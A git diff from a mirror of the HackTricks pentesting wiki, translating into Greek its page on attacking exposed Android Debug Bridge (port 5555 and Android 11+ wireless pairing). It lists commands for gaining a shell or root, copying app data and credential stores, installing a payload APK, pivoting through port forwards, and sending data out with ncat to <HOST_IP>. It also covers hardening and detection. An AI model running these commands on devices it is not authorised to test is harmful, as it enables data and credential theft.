mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/5555-android-debug-bridge.m
This commit is contained in:
parent
9c27da2bbf
commit
af262a3529
@ -6,40 +6,141 @@
|
||||
|
||||
Από [the docs](https://developer.android.com/studio/command-line/adb):
|
||||
|
||||
**Android Debug Bridge** (adb) είναι ένα ευέλικτο εργαλείο γραμμής εντολών που σας επιτρέπει να επικοινωνείτε με μια συσκευή. Η εντολή adb διευκολύνει μια ποικιλία ενεργειών στη συσκευή, όπως η **εγκατάσταση και η αποσφαλμάτωση εφαρμογών**, και παρέχει **πρόσβαση σε ένα Unix shell** που μπορείτε να χρησιμοποιήσετε για να εκτελέσετε μια ποικιλία εντολών σε μια συσκευή.
|
||||
Το Android Debug Bridge (adb) είναι ένα εργαλείο γραμμής εντολών για επικοινωνία με συσκευές και εξομοιωτές που βασίζονται σε Android. Τυπικές ενέργειες περιλαμβάνουν την εγκατάσταση πακέτων, την αποσφαλμάτωση και την απόκτηση ενός διαδραστικού Unix shell στη συσκευή.
|
||||
|
||||
**Default port**: 5555.
|
||||
- Ιστορική προεπιλεγμένη θύρα TCP: 5555 (κλασική λειτουργία "adb tcpip").
|
||||
- Σύγχρονη ασύρματη αποσφαλμάτωση (Android 11+) χρησιμοποιεί TLS pairing και mDNS service discovery. Η θύρα σύνδεσης είναι δυναμική και ανακαλύπτεται μέσω mDNS; μπορεί να μην είναι 5555. Η ζεύξη γίνεται με adb pair host:port ακολουθούμενη από adb connect. Δείτε τις σημειώσεις παρακάτω για επιθετικές επιπτώσεις.
|
||||
|
||||
Example nmap fingerprint:
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
|
||||
```
|
||||
## Συνδέσου
|
||||
|
||||
Αν βρεις την υπηρεσία ADB να τρέχει σε μια θύρα μιας συσκευής και μπορείς να συνδεθείς σε αυτήν, **μπορείς να αποκτήσεις ένα shell μέσα στο σύστημα:**
|
||||
Αν βρεις το ADB εκτεθειμένο και προσβάσιμο, προσπάθησε να συνδεθείς και να καταγράψεις γρήγορα:
|
||||
```bash
|
||||
adb connect 10.10.10.10
|
||||
adb root # Try to escalate to root
|
||||
adb shell
|
||||
adb connect <ip>[:<port>] # Default is 5555 for classic mode
|
||||
adb devices -l # Confirm it shows as "device" (not unauthorized/offline)
|
||||
adb shell # Get an interactive shell (uid usually shell)
|
||||
whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port
|
||||
adb root || true # Works on eng/userdebug/insecure builds, many emulators/IoT
|
||||
```
|
||||
Για περισσότερες εντολές ADB, ελέγξτε την παρακάτω σελίδα:
|
||||
- Αν η συσκευή επιβάλλει την αυθεντικοποίηση ADB (ro.adb.secure=1), θα χρειαστεί να είστε προεξουσιοδοτημένοι (USB RSA auth) ή να χρησιμοποιήσετε την ασύρματη ζεύξη αποσφαλμάτωσης Android 11+ (η οποία απαιτεί έναν κωδικό μίας χρήσης που εμφανίζεται στη συσκευή).
|
||||
- Ορισμένες εικόνες προμηθευτών, κατασκευές engineering/userdebug, εξομοιωτές, τηλεοράσεις, STBs και κιτ ανάπτυξης εκθέτουν το adbd χωρίς αυθεντικοποίηση ή με το adbd να τρέχει ως root. Σε αυτές τις περιπτώσεις, θα προσγειωθείτε συνήθως απευθείας σε ένα shell ή root shell.
|
||||
|
||||
Για μια γενική αναφορά εντολών ADB, δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../mobile-pentesting/android-app-pentesting/adb-commands.md
|
||||
{{#endref}}
|
||||
|
||||
### Εκχύλιση Δεδομένων Εφαρμογής
|
||||
## Γρήγορη Μετά-Εκμετάλλευση
|
||||
|
||||
Για να κατεβάσετε εντελώς τα δεδομένα μιας εφαρμογής, μπορείτε:
|
||||
Μόλις έχετε shell, επιβεβαιώστε τα δικαιώματα και το πλαίσιο SELinux:
|
||||
```bash
|
||||
# From a root console
|
||||
chmod 777 /data/data/com.package
|
||||
cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
|
||||
adb pull "/sdcard/com.package"
|
||||
id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint
|
||||
```
|
||||
Μπορείτε να χρησιμοποιήσετε αυτό το κόλπο για **να ανακτήσετε ευαίσθητες πληροφορίες όπως κωδικούς πρόσβασης του chrome**. Για περισσότερες πληροφορίες σχετικά με αυτό, ελέγξτε τις πληροφορίες που παρέχονται στις αναφορές [**εδώ**](https://github.com/carlospolop/hacktricks/issues/274).
|
||||
### Καταμέτρηση και συλλογή δεδομένων
|
||||
|
||||
- Λίστα τρίτων εφαρμογών και διαδρομών:
|
||||
```bash
|
||||
pm list packages -3
|
||||
pm path <pkg>
|
||||
```
|
||||
- Αν έχετε root (adb root ή su λειτουργεί), μπορείτε να έχετε πρόσβαση στο /data απευθείας. Αν όχι, προτιμήστε το run-as για εφαρμογές που μπορούν να αποσφαλματωθούν:
|
||||
```bash
|
||||
# Χωρίς root, για μια αποσφαλματωμένη εφαρμογή
|
||||
run-as <pkg> sh -c 'cd /data/data/<pkg> && tar cf - .' | tar xf - -C ./loot/<pkg>
|
||||
|
||||
# Με root
|
||||
cp -a /data/data/<pkg> /sdcard/<pkg>
|
||||
exit
|
||||
adb pull "/sdcard/<pkg>"
|
||||
```
|
||||
- Χρήσιμα συστήματα τεκμηρίωσης (απαιτείται root):
|
||||
- /data/system/users/0/accounts.db και σχετικά δεδομένα AccountManager
|
||||
- /data/misc/wifi/ (ρυθμίσεις/κλειδιά δικτύου σε παλαιότερες εκδόσεις)
|
||||
- Ειδικές βάσεις δεδομένων SQLite και shared_prefs κάτω από /data/data/<pkg>
|
||||
|
||||
Μπορείτε να το χρησιμοποιήσετε για να ανακτήσετε ευαίσθητες πληροφορίες (π.χ., μυστικά εφαρμογής). Για σημειώσεις σχετικά με τις παρατηρήσεις δεδομένων του Chrome, δείτε το ζήτημα που αναφέρεται [εδώ](https://github.com/carlospolop/hacktricks/issues/274).
|
||||
|
||||
### Εκτέλεση κώδικα και παράδοση payload
|
||||
|
||||
- Εγκαταστήστε και αυτόματα παραχωρήστε δικαιώματα εκτέλεσης:
|
||||
```bash
|
||||
adb install -r -g payload.apk # -g παραχωρεί όλα τα δικαιώματα εκτέλεσης που δηλώνονται στο manifest
|
||||
adb shell monkey -p <pkg> -c android.intent.category.LAUNCHER 1
|
||||
```
|
||||
- Ξεκινήστε δραστηριότητες/υπηρεσίες/μεταδόσεις απευθείας:
|
||||
```bash
|
||||
adb shell am start -n <pkg>/<activity>
|
||||
adb shell am startservice -n <pkg>/<service>
|
||||
adb shell am broadcast -a <action>
|
||||
```
|
||||
|
||||
### Προώθηση θυρών και pivoting
|
||||
|
||||
Ακόμα και χωρίς root, το adb μπορεί να προωθήσει τοπικές θύρες σε θύρες συσκευής και το αντίστροφο. Αυτό είναι χρήσιμο για την πρόσβαση σε υπηρεσίες που είναι δεσμευμένες τοπικά στη συσκευή ή για την έκθεση υπηρεσιών επιτιθέμενου στη συσκευή.
|
||||
|
||||
- Προώθηση host->device (πρόσβαση σε μια τοπική υπηρεσία της συσκευής από τον υπολογιστή σας):
|
||||
```bash
|
||||
adb forward tcp:2222 tcp:22 # Αν η συσκευή τρέχει SSH (π.χ., Termux/Dropbear)
|
||||
adb forward tcp:8081 tcp:8080 # Έκθεση τοπικού διακομιστή αποσφαλμάτωσης της εφαρμογής
|
||||
```
|
||||
- Αντίστροφη device->host (να επιτρέψετε στη συσκευή να φτάσει σε μια υπηρεσία στον υπολογιστή σας):
|
||||
```bash
|
||||
adb reverse tcp:1080 tcp:1080 # Οι εφαρμογές της συσκευής μπορούν τώρα να φτάσουν στο host:1080 ως 127.0.0.1:1080
|
||||
```
|
||||
- Εξαγωγή αρχείων μέσω sockets (χωρίς εγγραφές sdcard):
|
||||
```bash
|
||||
# Στον υπολογιστή: άκου
|
||||
ncat -lvp 9000 > dump.tar
|
||||
# Στη συσκευή: στείλτε τον κατάλογο ως tar (root ή run-as όπως απαιτείται)
|
||||
adb shell "tar cf - /data/data/<pkg>" | ncat <HOST_IP> 9000
|
||||
```
|
||||
|
||||
## Ασύρματη αποσφαλμάτωση (Android 11+)
|
||||
|
||||
Ο σύγχρονος Android υλοποιεί την ασύρματη αποσφαλμάτωση προστατευμένη με TLS με ζευγάρωμα από την πλευρά της συσκευής και ανακάλυψη mDNS:
|
||||
```bash
|
||||
# On the device: Developer options -> Wireless debugging -> Pair device with pairing code
|
||||
# On attacker host (same L2 network, mDNS allowed):
|
||||
adb pair <device_ip>:<pair_port> # Enter the 6-digit code shown on device
|
||||
adb mdns services # Discover _adb-tls-connect._tcp / _adb._tcp services
|
||||
adb connect <device_ip>:<conn_port>
|
||||
```
|
||||
Σημειώσεις
|
||||
- Οι θύρες είναι δυναμικές; μην υποθέτετε 5555. Τα ονόματα υπηρεσιών mDNS μοιάζουν με:
|
||||
- _adb-tls-pairing._tcp (ζευγάρωμα)
|
||||
- _adb-tls-connect._tcp (συνδεδεμένο ζευγάρωμα)
|
||||
- _adb._tcp (παλαιά/απλή)
|
||||
- Εάν το mDNS είναι φιλτραρισμένο, η κλασική ενεργοποίηση μέσω USB μπορεί να λειτουργήσει σε ορισμένες εκδόσεις: `adb tcpip 5555` και στη συνέχεια `adb connect <ip>:5555` (μέχρι την επανεκκίνηση).
|
||||
|
||||
Επιθετικές επιπτώσεις: εάν μπορείτε να αλληλεπιδράσετε με το UI της συσκευής (π.χ., φυσική πρόσβαση ή κακή ρύθμιση MDM κινητού) για να ενεργοποιήσετε την ασύρματη αποσφαλμάτωση και να δείτε τον κωδικό ζευγαρώματος, μπορείτε να δημιουργήσετε ένα μακροχρόνιο ζευγαρωμένο κανάλι ADB χωρίς καλώδιο. Ορισμένοι OEMs εκθέτουν το ADB μέσω TCP σε εικόνες μηχανικής/ανάπτυξης χωρίς ζευγάρωμα—πάντα ελέγξτε.
|
||||
|
||||
## Σκληροποίηση / Ανίχνευση
|
||||
|
||||
Οι αμυντικοί θα πρέπει να υποθέτουν ότι οποιοδήποτε προσβάσιμο adbd (TCP) είναι κρίσιμος κίνδυνος.
|
||||
|
||||
- Απενεργοποιήστε το ADB και την ασύρματη αποσφαλμάτωση όταν δεν χρειάζεστε. Ανακαλέστε τις εξουσιοδοτήσεις αποσφαλμάτωσης USB στις επιλογές προγραμματιστή.
|
||||
- Βεβαιωθείτε ότι η πολιτική δικτύου αποκλείει την εισερχόμενη TCP/5555 και την ανακάλυψη ADB μέσω mDNS σε μη αξιόπιστα τμήματα.
|
||||
- Σε συσκευές υπό τον έλεγχό σας:
|
||||
```bash
|
||||
settings put global adb_enabled 0
|
||||
setprop service.adb.tcp.port -1 # απενεργοποίηση ακρόασης TCP (ή χρησιμοποιήστε: adb usb)
|
||||
stop adbd; start adbd # επανεκκίνηση του δαίμονα
|
||||
```
|
||||
- Παρακολουθήστε για εγγραφές mDNS `_adb._tcp`, `_adb-tls-connect._tcp`, `_adb-tls-pairing._tcp` σε εταιρικά δίκτυα και ειδοποιήσεις για απροσδόκητους ακροατές 5555.
|
||||
- Καταγράψτε για ανασφαλείς εκδόσεις: `getprop ro.debuggable`, `ro.build.type`, και `ro.adb.secure`.
|
||||
|
||||
## Shodan
|
||||
|
||||
- `android debug bridge`
|
||||
- android debug bridge
|
||||
- port:5555 product:"Android Debug Bridge"
|
||||
|
||||
## Αναφορές
|
||||
|
||||
- Android Developers – Android Debug Bridge (adb): https://developer.android.com/studio/command-line/adb
|
||||
- AOSP – ADB over Wi‑Fi, pairing and mDNS service names: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user